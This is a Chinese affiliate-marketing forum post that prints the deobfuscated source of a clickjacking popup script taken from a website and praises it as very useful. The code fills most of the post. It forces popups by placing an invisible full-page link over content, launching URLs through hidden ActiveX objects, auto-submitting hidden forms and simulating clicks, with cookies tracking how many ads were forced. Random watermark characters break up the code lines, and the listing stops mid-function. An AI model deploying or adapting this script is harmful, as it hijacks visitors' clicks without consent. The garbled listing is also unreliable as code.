找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)IPCola原生住宅IP⚡️$1.8/条双ISPFB资源,账单户,分享户,国内一手TK加白户/二解户/FB海外户/GG老户
海外CL企业户源头最大欧洲Nutra网盟BA找量 FB高权重耐操个号⚡️稳定过审GG,FB,TK, 欧美源头, 欢迎合作❤️
FB企业户海外户,授信户,TK加白户联盟收款/海外资金下发/服贸结汇⚡️Spend.net — 美元卡仅需$0⚡️✔Taboola海外户
广告位出租虚拟卡返佣1%,国内持牌机构  
查看: 18080|回复: 17

[FACEBOOK] 国内也有牛人啊。很有用的。

[复制链接]

126

主题

62

广告币

394

积分

初级会员

积分
394

社区QQ达人

发表于 2013-12-17 15:03:03 | 显示全部楼层 |阅读模式
天星网ClickJacking点击劫持分析
! p& k, q" U& G' y- C3 U- mhttp://www.21tx.com/ 天星网 * Z: S( b% R+ y, l0 ]& m  q
我得联系联系作者 ' H% l" ?4 S  a9 d
刚好打开这个站,发现第一次点击会弹窗,然后就不会,清除下COOKIE,又继续了,然后查看源代码,也没什么奇葩的。
* N& ?' K. A* S) m$ |+ U1 |http://www.lxting.com/script/popup/v1_min.js
& u- O5 _' {6 z- F4 Y  M. x7 L9 }* e  ~: O
这个是锁定到底JS脚本,7 W) P$ \: Q( t
解密后的代码
  1. (function() {
    ) l7 w4 ?! W5 ]# G+ \* x7 A
  2.     var aa_url = window.ytpp_url;
    " h, M6 Z1 F3 E, l
  3.     var ua = navigator.userAgent;
    6 \5 n$ u. F5 S1 _$ i
  4.     var form_div = document.createElement('div'); 0 S0 u& f$ U6 E6 v, F
  5.     var form_pd = 0;
    / T; F/ n6 M" D
  6.     var browser = {
    / W' h, ~7 \1 W- H
  7.         ie: /msie/i.test(ua), - \0 ?7 V3 h0 o+ Q4 P! @7 W
  8.         ie6: /msie 6/i.test(ua), 9 P, q4 ^3 }* X4 M. r
  9.         ie7: /msie 7/i.test(ua), ' P) T4 J: R9 _
  10.         ie8: /msie 8/i.test(ua),
    & A, n% R* A. A* ~
  11.         ie9: /msie 9/i.test(ua), 8 z3 d5 p1 g* Z0 Q/ J  v
  12.         360 : /360se/i.test(ua), % h% d% o; Q. y
  13.         sogou: /;?se.+?MetaSr/i.test(ua),
    ( I. q. o) X& g; B9 d( u
  14.         maxthon: /Maxthon/i.test(ua),
    % X) c# i1 ?. r9 M- c
  15.         tt: /TencentTraveler/i.test(ua),
    $ R$ Q2 T( X- @# v5 Y5 W
  16.         ff: /firefox/i.test(ua),
    8 w# T2 u8 |, S" j! B
  17.         webkit: /AppleWebKit/i.test(ua),
    7 H9 i. c6 L7 A" v
  18.         opera: /Opera/i.test(ua),
    1 Y) s% o: f; m1 q' O0 p
  19.         qqbrowser: /QQBrowser/i.test(ua), 9 Q# @6 Z6 J5 G; i- Z  T
  20.         cr: /chrome/i.test(ua),
    : M/ |! B8 }  K' b7 M
  21.         gg: window.chrome,
    " T, B, ^0 @$ a' a. I/ b, M
  22.         theworld: /Theworld/i.test(ua) ; w5 U0 K0 i  \( @3 J3 r' L  w. b
  23.     }; " V% s8 h( B5 K# C* Q
  24.     var _setting = "";
    ! B! X$ D7 E8 C: J. y: l/ o. C
  25.     var _ct = 0;
      Q/ @( x7 I) q
  26.     var _le = 0; : a& ]' H$ t5 c: b$ F
  27.     var _pd = 1; ( S- l4 a4 h. \% k+ z4 k5 n2 n3 m) Q
  28.     var _pd2 = 0; 8 v" |' |$ P7 |' n, t
  29.     var _pc = 1; 9 y. P& G/ d0 H# T4 G! W" H, i
  30.     var _pc2 = 1; . K" j2 J4 C8 j. y  J9 T2 D
  31.     var _pco = 0; * W$ A* l' R$ N" |
  32.     var _pta = 0;
    ; Q2 l' \: ^' w% [( H2 I
  33.     var _ptb = 0;
    # f$ d1 Y, w1 k) j
  34.     var _pt2a = 0; . X$ \( F1 l3 H5 L3 J( Z/ r
  35.     var _pt2b = 0; ( k  U3 l  k7 |7 U0 x
  36.     var _pt3a = 0; 3 {+ x/ W3 F3 o1 v8 l4 O6 ?
  37.     var _pt3b = 0; - p5 r( r( p7 Z, s8 R
  38.     var _pt4a = 0; 1 I, m2 x- S$ F; |# W$ v( F& @
  39.     var _pt4b = 0;
    1 |/ g2 `) D" v* I6 H  j
  40.     var _pt5a = 0; - h) a2 K8 m( C+ G- R9 G
  41.     var _pt5b = 0; 8 M' J) r9 r$ N& D; u
  42.     var _pt6a = 0; + H% {" s$ S( K. F( L
  43.     var _pt6b = 0; * L9 o- a0 K& h3 ^9 Z  J
  44.     var _pt7a = 0; * s3 Z/ k0 Y. F2 ~! d  x
  45.     var _pt7b = 0;
    . c$ `( |; d. J
  46.     var _pt8a = 0; 6 ~; k0 H$ _0 x7 c1 ~7 }, P
  47.     var _pt8b = 0;
    - Z) z& H: o3 K1 p9 P
  48.     var _pt9a = 0;
    , m1 U$ H# r' ]1 x; K
  49.     var _pt9b = 0;
    3 m7 s, Q/ K8 f- O/ J
  50.     var _pt10a = 0; ! G) V: P0 o  }  w9 ^- ^
  51.     var _pt10b = 0;
    * u! l2 g7 r0 Z  M: L; S8 P/ O8 _& D3 `
  52.     var _po = 0; . U7 w& ^6 v, w7 t3 j  J9 F
  53.     var _poo = 0; 5 k9 n6 w8 a4 Q/ Q
  54.     var ckn, ckt;
    : n1 d" `% T4 ^
  55.     var ads = 0;
      y$ {, {$ E. D% H9 h' ]) x1 ]* \
  56.     function b(w) {
    2 x% m6 o6 L# |- V
  57.         var s = w + "="; 4 L/ _1 @4 J4 d3 P" A& T6 G. l
  58.         var r = ""; $ q: ?0 Y! E2 O7 G7 b+ x* @
  59.         var o = 0;
    ' X6 W8 G& ]  @1 S" T" z1 w6 G, c( @
  60.         var d = 0; 1 n7 I, {5 \0 \4 B8 \
  61.         var p = document.cookie;
    4 L8 x3 h/ t! L, c0 r% @
  62.         if (document.cookie.length > 0) { 1 }; U% ~/ h, F9 m: p4 O* z& R
  63.             o = document.cookie.indexOf(s); # O* G5 q7 m$ i8 ]1 \
  64.             if (o != -1) { 7 H4 d2 j, p( I3 }  `* ^% F
  65.                 o += s.length; % S7 o, k8 \! @- ?
  66.                 d = document.cookie.indexOf(";", o); 7 T5 u% O& F/ f/ y/ {! e& w
  67.                 if (d == -1) d = document.cookie.length;
    - I: X( p2 d: |3 B8 B# l8 b  x% S. f5 ?
  68.                 r = unescape(document.cookie.substring(o, d)) 6 I' e3 [8 ^0 B7 v; I
  69.             } : m" `2 i. k; X2 e4 y/ D
  70.         }
    # Z- v: g* q3 o* D8 ~
  71.         return r
    0 A# `# X# e4 o: E3 C& f* }
  72.     };
    8 H( g! z6 @; a! Y
  73.     function p(w, p, v) { . L5 i# Z. `( D. f' M
  74.         var t = 30; 7 Q& I. A" e9 N0 O, j& S  T
  75.         try {
    7 x  [0 t* }# B8 i+ V  W6 g' K! q) X
  76.             t = parseFloat(p) * 1 : r7 H7 M; r: K2 ?* T4 c* j; Q7 [* F
  77.         } catch(e) {
    / N$ d# T$ v, h) x( {( L# ?
  78.             t = 30 + ]/ H# }6 w/ u% |6 \* r, I: C
  79.         }
    / d1 ]6 B6 T  I
  80.         if (isNaN(t)) t = 30;
    # y7 T( Q9 e3 P7 s4 R0 G
  81.         var then = new Date(); $ O  h7 ?2 A/ C6 U/ d  j6 I
  82.         then.setTime(then.getTime() + t * 60 * 1000); * J0 k5 A* x4 n! v7 Y; u
  83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'. j) H6 _1 K! O( Q3 r% b" J! P
  84.     };
    . L4 p! h4 q1 g  N
  85.     function init() {
    1 Q1 z1 M+ Q6 c% {4 S. T
  86.         _setting = ytpp_sti; ) ~$ z# K9 m/ c2 K, m3 Q4 a
  87.         if (getp(_setting, "CT")) {
    / |' j' C: [! L9 ?( U- y
  88.             _ct = getp(_setting, "CT") : c8 ^" ^4 H  L) m* @4 @
  89.         } ( _+ p( n2 Y$ \0 p- L/ r9 Y8 y
  90.         if (getp(_setting, "LE")) { ) G7 ?: U9 V# m4 _) L$ S
  91.             _le = getp(_setting, "LE")
    8 \9 H6 [8 a" @- I- @! s- U& e
  92.         }
    , h8 }$ Y+ }8 }1 c* i
  93.         if (getp(_setting, "PD2")) { , B/ z' a+ E+ }3 V  C  ^4 r5 W
  94.             _pd2 = getp(_setting, "PD2")
    , ~& u, d% O" S6 N1 J1 x
  95.         }
    3 \, ]" Z- s: b. `
  96.         if (getp(_setting, "PC2")) { # p5 h; ^5 m) N" }  d
  97.             _pc2 = getp(_setting, "PC2") & s1 [  s( j4 o6 [7 L4 y2 M
  98.         } + b: I% @& f; K! V
  99.         if (getp(_setting, "PCO")) {
    0 q6 ?3 O+ ^, d& a. i
  100.             _pco = getp(_setting, "PCO") ) c/ W) l0 ~9 `
  101.         }
    ; T. X+ r" [( E5 W  k5 o  D
  102.         for (var i = 1; i <= 10; i++) { ( W* k2 l# g+ p/ L
  103.             var n = i == 1 ? "": i;
    . X$ d: D* N3 k( z7 N! @
  104.             if (getp(_setting, "PT" + n)) {
    : h7 a+ {; n+ k6 E+ l
  105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');"); / g1 A. L' ~0 X, H) I# D5 `
  106.                 eval("_pt" + n + "a = _pt" + n + "[0];"); 6 z5 T# v! E5 T" A+ I
  107.                 eval("_pt" + n + "b = _pt" + n + "[1];") & c; r( }1 G& G% L9 q9 X6 ?
  108.             } # x7 {5 ?; A+ Q# ?
  109.         }
    " Z8 T# g3 ^( N# j7 k
  110.         if (getp(_setting, "PO")) {
    ! S; W$ U4 {, D; o/ V
  111.             _po = getp(_setting, "PO") 9 ^) B$ W: [: a
  112.         } . s: J8 h/ [5 G
  113.         if (getp(_setting, "POO")) {
    + X6 O5 }3 y# N
  114.             _poo = getp(_setting, "POO") 3 v. n7 l& N, k- t: x  X
  115.         }
    . w: X% e, F& B, I. h5 Y+ Q
  116.         if (_pco == 1 || _poo == 1) { # j1 A9 C: C" m7 \6 ~& j; _
  117.             if (_poo == 1) { " X4 w3 Z1 x4 J% @
  118.                 _pco = 0
    . k! E. {/ C5 @: i
  119.             } else {
    : a. o, j8 m2 C/ s: B: U
  120.                 _poo = 0
    , u' W! E$ j. ^/ `( G
  121.             }
    , x" X8 J- ]3 G, ]; G
  122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
    6 ]( q  z8 v+ E( P5 s
  123.             for (var i = 2; i <= 10; i++) { - J; e5 T7 |. {5 X
  124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;") # L( n( B6 Y' Y9 H" v* ~; |# E
  125.             } 3 `  V- m! g/ Y  |% }3 O( N
  126.         }
    - r  P& ^" N0 Q3 R: M
  127.     }; 7 x* t# i# x, w2 i4 U
  128.     function getp(s, p) {
    ! `: i+ |, ?5 f. ^. h/ q
  129.         var i = s.indexOf(p + ":");
    % z6 L$ e" X% H3 f- J) f
  130.         if (i >= 0) { 5 X- s6 u( [  Z2 B! L
  131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
    " @5 ]* w  D0 j9 R  N
  132.         } + V3 R+ L: n2 S# h* n
  133.     };
    # t  h9 {) b7 j, \/ v
  134.     function event(e, event, func, act) { ; S; N1 T7 R( n
  135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func);
    3 E6 f' l! I" g9 v7 d
  136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false) ) \5 `, K3 m# H- y& ^  M
  137.     } $ ?. J+ L% {: j0 n  R* ^$ }
  138.     function pop(url, param) { 3 X- p2 J; N3 y/ [7 o4 Q: J0 l  S
  139.         if (!document.body) { 8 G1 J$ {6 D+ g, H: ^* S9 q$ Z
  140.             return setTimeout(function() {
    " d) K. E6 b0 u$ y$ j' w
  141.                 pop(url, param) 2 ~7 r) Q3 T: i# _
  142.             },
    ) q2 _, l4 @# H% n  g) E" I- E, d
  143.             13)
    3 a6 v* s; \5 T; A
  144.         }
    : h( g* L! l. ~
  145.         try {
    0 [, l3 N4 q: Z7 ]8 U/ r
  146.             if (browser['cr'] && browser['gg']) {
    + F8 Q/ H0 Z9 I: s7 Y7 z3 v
  147.                 try { ( Z; h- B$ y" N1 C
  148.                     hrefopen(url)
    . Y+ O" v& z' L4 ^  O
  149.                 } catch(e) {
    " v% X# Q  Y, j: @
  150.                     a_pop(url)
    3 m8 ]) }; S8 t+ b
  151.                 } " H# K" h. O1 e
  152.             } else if (browser['webkit'] && browser['maxthon']) {   f; ?/ o- ~( M4 f6 F
  153.                 if (!func(url)) {   w# k, Y9 S9 p2 L( [2 o" z8 h/ O
  154.                     try {
    1 O6 ^" y  v- X& C
  155.                         form_pop(url); " |) P6 }* ~9 G0 M0 {; p3 [3 f
  156.                         a_pop(url)
    5 g5 f% T+ ]- l0 H+ m
  157.                     } catch(e) {}
    % t$ r' B" L0 Q, I# [
  158.                 }
    6 }( p$ l5 U; x8 |' ~
  159.             } else if (browser['tt']) { ( u/ [+ K+ X( O) j' y$ m* Z; c
  160.                 try {
    0 [3 ^# @: h- G) b* }
  161.                     object_pop(url) ( W! B8 e; q- T
  162.                 } catch(e) {
    ( i, O* k) W5 i: x( c3 z3 D  S
  163.                     a_pop(url)
    8 `  c9 D( f+ a! s# @4 z/ _( @, J
  164.                 }
    # D0 Y5 _! U# x' e) ?6 E3 f* |
  165.             } else if (browser['sogou']) {   u7 q  @, A+ H$ a  u
  166.                 if (!func(url)) {
    ( _. S. X& L" l  [
  167.                     try {
    4 y( |% N# [; y8 Q6 z
  168.                         a_pop(url)
    % q& n3 v8 r+ R8 a
  169.                     } catch(e) {} 8 C3 y0 ?& }4 q2 M: L
  170.                 } & N8 h! i# B& `- W+ H
  171.             } else if (browser['webkit'] && browser['qqbrowser']) { ' a3 a) C) ~0 a- K4 P$ Z
  172.                 if (!func(url)) {
    & k) `5 Z* L8 f" d
  173.                     try {
    * O; \9 \9 `% N1 r
  174.                         form_pop(url) * O* e8 C' g$ q+ ?# L) A0 n8 E6 {+ p: w
  175.                     } catch(e) { : M9 S8 P/ u1 |8 F; _6 P
  176.                         click_pop(url)
    . A8 L: a+ d5 V' ?6 j( b% `! |
  177.                     } 8 M4 h7 n% ^1 m$ r& T
  178.                 } ! R  ?7 t2 J% l7 {6 B6 E+ J1 }
  179.             } else if (browser['webkit'] || browser['opera']) { . F6 ~7 L0 ]9 `0 v4 l- p
  180.                 try {
    0 A( x2 y3 m1 ?! ]1 {! G
  181.                     form_pop(url); ) j6 _5 D4 Y& U1 C4 P
  182.                     a_pop(url) % L  Z" t0 g- `- m
  183.                 } catch(e) {} ! S6 d/ e/ W3 {0 Y
  184.             } else if (browser['theworld'] && browser.ie6) {
    & m9 E" }, j3 a9 z# y+ m- Y1 j- R  `
  185.                 if (!object_pop2(url)) {
    - j6 G) @8 s8 a; {
  186.                     a_pop(url) 7 i5 B! a8 R- ~4 E1 C+ z
  187.                 }
    ; e( Q  @; h8 g" j, z) o
  188.             } else if (browser['theworld'] && browser.ie8) { ' ~, G7 \! i5 B9 e$ [0 E5 I" J; S
  189.                 if (!func(url)) { 5 N9 e  ]* j$ T% B
  190.                     try { 9 P% I# W: T# `+ H) ?+ b
  191.                         object_pop(url) 3 h' t( i' _& _* n
  192.                     } catch(e) { * t# W* c( l9 d1 ]# M7 I# W$ J
  193.                         click_pop(url) 0 E' M4 ~' a& J& ?7 K& o0 b# |& N
  194.                     }
    5 y6 w* x, [& a2 W3 D; a; t0 f# @: z; ]
  195.                 } & A6 W) V" Y/ S: R( b
  196.             } else if (browser.ie6) {
    9 G- k4 \% h( X, Z
  197.                 if (!func(url)) { / B1 [3 H+ F% ^$ F+ u4 q1 T
  198.                     object_pop2(url)
    7 f: ^+ t  Z) f6 _" R9 ~
  199.                 } 8 T% e7 p; e5 p$ ]+ W
  200.             } else if (browser.ie8) { 8 m  w8 W( y7 G" n- O3 I
  201.                 if (!func(url)) { 5 N& Y$ W2 t' F2 [# u- e$ L
  202.                     try {
    9 `+ k  ^# {+ c  q* {8 ]
  203.                         object_pop(url) / m& ^+ V$ X6 M2 G' N& o( \
  204.                     } catch(e) { 6 L2 }! C! O/ p* O9 f9 e; d6 A
  205.                         document.onclick = function() {
    9 i3 z1 V% C8 d0 s0 E3 P% `
  206.                             func(url);
    4 a- d+ P1 W$ M
  207.                             document.onclick = null- Z& q6 v7 B  L( c+ z
  208.                         } % Q. a- |% f& \* K' Z/ J
  209.                     } ) f2 w$ f* o6 E( _7 t
  210.                 } + A* N# K7 w* A) l! J2 B
  211.             } else if (browser['ie']) { 0 x' B; O$ @8 W9 b0 e
  212.                 try {
    ! S- T3 f# u8 l4 o/ a% Y0 P" [
  213.                     object_pop(url)
    3 I' j  J/ u6 L/ G8 a% p) e3 o
  214.                 } catch(e) {
    ) T9 G$ y/ K& k7 E* c6 l2 H& X
  215.                     click_pop(url)
    ) [  x/ b2 {8 J; G9 w
  216.                 }
    # |8 n0 {: `+ w, T
  217.             } else if (browser['ff']) {
    ( C  g. v" e6 p( n$ x8 Z5 {* P* |
  218.                 if (!func(url)) {
    # X( l6 ?5 m* V% c% N' q: K
  219.                     click_pop(url) # J, S+ P" l9 R, h
  220.                 } ' C& d$ C% W" }. U7 W8 u+ @, b
  221.             } else { 6 w  I2 H, Y. i5 I: L
  222.                 if (!func(url)) { * C; g5 O. b& u4 [$ v
  223.                     click_pop(url)
    $ {' a1 Z" S  Y/ E. w; w8 s
  224.                 } 9 m. n. m% [1 d) w
  225.             } ! ]. L; x+ p  w4 P) w
  226.         } catch(e) {
    ) T5 F  i( J. A0 k/ q# k0 S
  227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
    % y4 D$ K! R) k% s  K$ T+ I
  228.                 click_pop(url)
    1 n4 I" _: r9 t9 i% k) |
  229.             } else {
    ( [0 P5 Q( {1 f2 M5 n
  230.                 a_pop(url)
    5 \& `$ Y' B! @% \* p. _3 J& e
  231.             } $ ?# ]0 W! `: P) \5 ~) Y
  232.         }
    : l. r- k9 c4 A; Q' ~, P
  233.     } 7 Q0 I3 h2 U( ~; @
  234.     function object_pop(url, param) { 1 D; Y& O# a" E' b+ H) X/ y
  235.         var object = document.createElement('object');
    ; ^% o) _8 N7 m" v
  236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');
    2 ~8 f5 p; D& s2 Y+ k  B0 h
  237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
    6 G. d! e/ k* u
  238.         append(object); & I5 t, X. l( O2 ^" [
  239.         object.launchURL(url);
    ; N# ?: t& P2 v0 g
  240.         ads++;   r# A: n( o/ N/ L$ {! }
  241.         p(ckn, ckt, ads)
    / ^+ ~6 k) w8 p* x7 V
  242.     }
    1 J/ v1 W' X1 ~8 j+ a
  243.     function object_pop2(url, param) {
    6 @1 b! B* V& M
  244.         var object2 = document.createElement('object'); # |' L$ X. d8 c0 _
  245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A'); 4 v  w# S$ T* [- m* w; m  M
  246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
    ' N0 J7 c( h% f! }0 j9 p* r
  247.         append(object2); ; b" w9 D% B1 h4 x+ l4 h! c
  248.         for (var i in object2) { 9 A" W) O/ Q+ t$ ~$ |! y
  249.             try { (function(o) {})(object2[i])
    1 _2 K( t8 p) m  x' C5 ]. F
  250.             } catch(e) {} ! b4 X6 H0 ?1 u7 }: e1 e
  251.         }
    ' `% L- G6 t( O2 x9 u
  252.         setTimeout(function() { % `" ~  V6 I, ^* j. `; Z& O
  253.             object2.DOM.Script.open(url, '_blank', '')
    8 s- a6 D9 V7 s( D
  254.         },
    % y" U9 y* G8 [* m9 S- h" \
  255.         500);
    5 g+ x3 F0 e9 t& k# F& c3 E. v9 S
  256.         ads++;   g" |; @8 g# K4 k+ @2 Z: i9 G
  257.         p(ckn, ckt, ads) . \) F7 m3 {0 Y! b. Q5 b( [6 Y0 J( q# v
  258.     } ) E4 H# |6 U6 q5 `2 T/ P9 b
  259.     function append(e) {
    - k  ~3 [9 j- Y9 l: l
  260.         for (var t in {
    # R8 A' ~' S1 J7 s
  261.             body: 1 6 F3 A% u: a( V) e6 m% j% D+ K
  262.         }) { 0 m: u3 }% V; \2 Z# Q* k
  263.             var ele = document.getElementsByTagName(t); ' e8 p+ N7 o5 [- ?
  264.             for (var i = 0; i < ele.length; i++) { 3 J0 s& P- Y  s2 b: i; o2 ^
  265.                 ele[i].insertBefore(e, ele[i].firstChild); * x  U& O$ [5 l8 S+ w" g9 J
  266.                 return2 \% B: W. X$ E& N, E4 s/ k
  267.             } ' X& u0 _" h+ _. C8 q
  268.         } 5 O7 I5 p: U! O; O
  269.     }
    2 e7 q( t6 n% h+ @
  270.     function hrefopen(url) {
    , `8 B  n- ]$ _
  271.         try { * _' s/ @' d/ M$ c' p8 N8 w, \
  272.             var c = document.createElement("a");
    % W' s1 k. Z8 u6 u) e5 _: x" l
  273.             c.setAttribute("href", url); 7 @# d( K. Z+ o
  274.             c.setAttribute("target", "_blank");
    - A* P- S9 p: ]
  275.             c.setAttribute("style", "display:none;");
    1 r8 n4 F) \* C! H8 U- B
  276.             var b = document.createEvent("MouseEvents");
    9 Z4 E& b$ U, T( f
  277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null); $ k/ c$ R5 m( L" e9 v
  278.             c.dispatchEvent(b); % j4 r6 c% f5 R
  279.             ads++;
    / Y" P2 M' ?( N% e% M9 Q  Z8 x# U. s
  280.             p(ckn, ckt, ads); 2 @# c8 v, F0 s9 v) a
  281.             return true9 g. O) l$ K- N5 D' |! P, h! |
  282.         } catch(q) { 2 Q" f% @: W- n. ?, L) Q
  283.             return false0 `9 q' T& S# |5 w/ w) ~2 f+ n
  284.         } ! T* `9 O) `$ @) N# i
  285.     } 1 s$ Q5 C) H, K# g( ?* o' E4 j
  286.     function form_pop(url) {
    : i2 C( b' \. k3 p- N
  287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__'); ( ]& s' j+ |7 ^) R6 G4 {' g
  288.         form_div.setAttribute('style', 'display:none');
    ' z. F  B  c0 ]7 M6 R" L+ c6 W, o. y! o
  289.         var form = document.createElement('form');
    % J3 E  B3 Z2 _1 C7 j0 F: c
  290.         form.setAttribute('action', aa_url);
    / ?( Y* s# q, E8 f6 H
  291.         form.setAttribute('method', 'post');
    / }9 ~1 V( j% k/ W
  292.         form.setAttribute('name', '__unionsky_push_d_form_box__');
    $ f: y0 t1 M, k3 F0 _5 K( A) s
  293.         form.setAttribute('target', '_blank'); 4 Y* L7 H+ _- f! H* p8 ~
  294.         form.setAttribute('style', 'display:none');
    % f* J8 Z& h" O$ q- R0 i# y
  295.         var sinput = document.createElement('input');
    ) e3 e/ \$ Y7 J8 b0 C8 x1 L0 `
  296.         sinput.setAttribute('style', 'display:none');
    ' l, m/ R/ o! Y
  297.         sinput.setAttribute('type', 'submit'); 1 f; _/ V: y* E7 a1 G: c$ t
  298.         sinput.setAttribute('id', '_sumit_2app');
    3 a1 ~3 G! c: {: F
  299.         form.appendChild(sinput); 9 {+ F* D. b5 a- ~$ X
  300.         form_div.appendChild(form);
    $ H1 n; v9 `8 o
  301.         append(form_div); . r4 Z9 o4 C+ K8 ]0 X; @  W: v
  302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"]; # t* n# O1 B/ C8 {) O
  303.         try {
    . e6 z7 J3 e0 s% F" M* k
  304.             document.getElementById("_sumit_2app").click() 7 h% x2 S' f8 }/ o( E* Y1 h
  305.         } catch(e) { ( O7 k7 o: @3 y: w
  306.             event(document, 'keyup', " K" C- D8 S9 b  Z4 F. C1 U3 R
  307.             function(e) {
    , R4 }9 o: e. u. v  k. M
  308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) { ' I$ S1 S% r3 v9 M8 U
  309.                     return
    ' L0 x' [* w  [) e. Y0 y& F: i" ^/ t
  310.                 }; ; d3 ~. w' C4 C$ M
  311.                 e = e || window.event; + U( S7 y* I! ~
  312.                 e.canceBubble = true; ; E) r0 y3 @+ Y0 B. [
  313.                 event(document, 'keyup', arguments.callee, true);   o5 `3 e7 K4 v$ H$ U5 x4 }' w3 z
  314.                 form_pd = 1; ( v1 Y0 Z/ D% J: r% w
  315.                 unionsky_from.submit() % C. I' R5 Z* Z5 j# A0 B5 J3 {
  316.             }) 3 l. C( f- E" |# A9 L! Q
  317.         } # f! L5 _' E3 C( V% v: d8 k& r
  318.     }; 4 O' G5 u9 R( F( O9 B$ o; p
  319.     function click_pop(url, param) { & F5 c" ?4 y, u: v
  320.         event(document, 'mouseup',
    1 F3 }! g# c! l  [% t4 V
  321.         function(e) {
    , ?0 A6 n, W7 a/ z
  322.             e = e || window.event; . c% p. Z: F7 [5 A6 j
  323.             e.canceBubble = true;
      h, u% Z1 q' E8 _% \) S
  324.             event(document, 'mouseup', arguments.callee, true);
    0 I' F6 X$ m' d2 p
  325.             func(url, param); ' M. e& @3 ]3 H" T9 x- m1 O5 ?
  326.             ads++;   \: s; m' X% b3 h
  327.             p(ckn, ckt, ads) $ h! P; I: s  u& U1 j
  328.         }) 6 T, y5 c8 c6 M2 h6 s! F. j
  329.     };
    ; x# N: a0 j- o* R  Q" n# ]3 i
  330.     function a_pop(url) { + R) x; ~5 l3 O. i! Y1 n( G
  331.         if (ytpp_plid == 166028) {
    7 P9 U- S; M& b1 }
  332.             return  d* P4 L7 N! \" Q8 b# `. T! m: C
  333.         } ) P4 f# _. N: q1 m. p3 q% @
  334.         if (!document.body) {
    4 [, U% a* \! j0 W! m$ C
  335.             return setTimeout(function() {
    # ~  g) d7 [' g! F
  336.                 a_pop(url) # C  D3 n3 c; x+ I. l" E
  337.             }, ! y( P8 d  [# b4 D% `8 C
  338.             13)
    ! i6 y1 y: j  Y% r& E
  339.         }
    ; N# t- \( @, d
  340.         var a = document.createElement("a");
    7 Z  B) ?4 p) r, @$ n6 W9 A3 q
  341.         a.href = url; " V! w3 K% r9 w
  342.         a.target = "_blank";
    , c  ?4 d: n1 {) Z" F  L/ o" T) Q( w7 \
  343.         var div = document.createElement('div'); ' a* i* Q+ r' \! w- {
  344.         div.style.backgroundColor = '#fff';
    ' A$ }& b  O# `0 c
  345.         a.appendChild(div); ; `- p& s% T: X: d( ?6 p
  346.         append(a); ; b) m2 V( ]& E. V) e
  347.         var as = a.style;
    " A( d! D/ K/ ^' y2 t% @
  348.         as.position = "absolute";
    4 H# ?0 X+ ^. e9 s- ?
  349.         as.zIndex = '2147483647'; 7 P) w' J. K: w) _5 N
  350.         as.display = "block"; , f$ T' D2 w5 T9 x
  351.         as.top = "0px";
    0 t, a' N, Q, b$ [. {" w: F: z
  352.         as.left = "0px";
    ' N) ]- ^4 S2 _) Q( {
  353.         as.cursor = 'default';
    $ ?9 {) m5 v, v! g7 g
  354.         as.opacity = "0"; * h# S: V  L  i6 _8 h& z" h: z9 C
  355.         as.filter = "alpha(opacity:0)";
    6 g; s' I  a# X. M( ~0 K4 N' ]7 j: z
  356.         var m = setInterval(function() { , V! ]2 n# l9 Z0 }' x2 F; e
  357.             if (form_pd == 1) { + g4 }/ q) m6 K5 ]5 q
  358.                 a.parentNode.removeChild(a); 0 k6 ]: x1 v6 v7 P* |& |8 B
  359.                 clearInterval(m);
    ; ^! O/ j, l; _  D6 V
  360.                 return
    : p$ \0 A9 ]& b! ], E/ ^, q8 T
  361.             }
    - w. R0 }3 Z& s7 z/ T
  362.             a.style.zIndex = '2147483647'; + p: N  K6 ~8 F0 I% m' m
  363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body; ) Z6 i& I0 j' y2 N
  364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
      r7 V" S& z: z- o6 G  v" f- W
  365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px'; ! n- J1 V: z& B2 ^3 ~5 W
  366.             div.style.height = d.clientHeight + 'px';
    9 [2 b% Q* j# S
  367.             if (browser['ie']) { : F5 ], g/ @+ I/ f4 `
  368.                 try { # F6 N0 N' s( `
  369.                     var divs = document.body.childNodes;
    ' \( f1 z9 e/ U
  370.                     for (var i = 0; i < divs.length; i++) {
    3 ?6 \7 J* }1 |! h  M; a
  371.                         if (!divs[i]['style']) {
    & C; B% d3 o% R- w7 p& `- R
  372.                             continue0 {3 L- f7 g' A  t% z; I( o
  373.                         }
    % I+ p& R$ J! N- V) P
  374.                         var _i = parseInt(divs[i].style.zIndex); ! P$ Q1 i2 Y! q
  375.                         if (_i && divs[i] != a && _i == 2147483647) {
    5 {6 V6 V3 N  W- x- D% Z; f
  376.                             divs[i].style.zIndex = _i - 1 ; v, a6 X# Y) T9 B
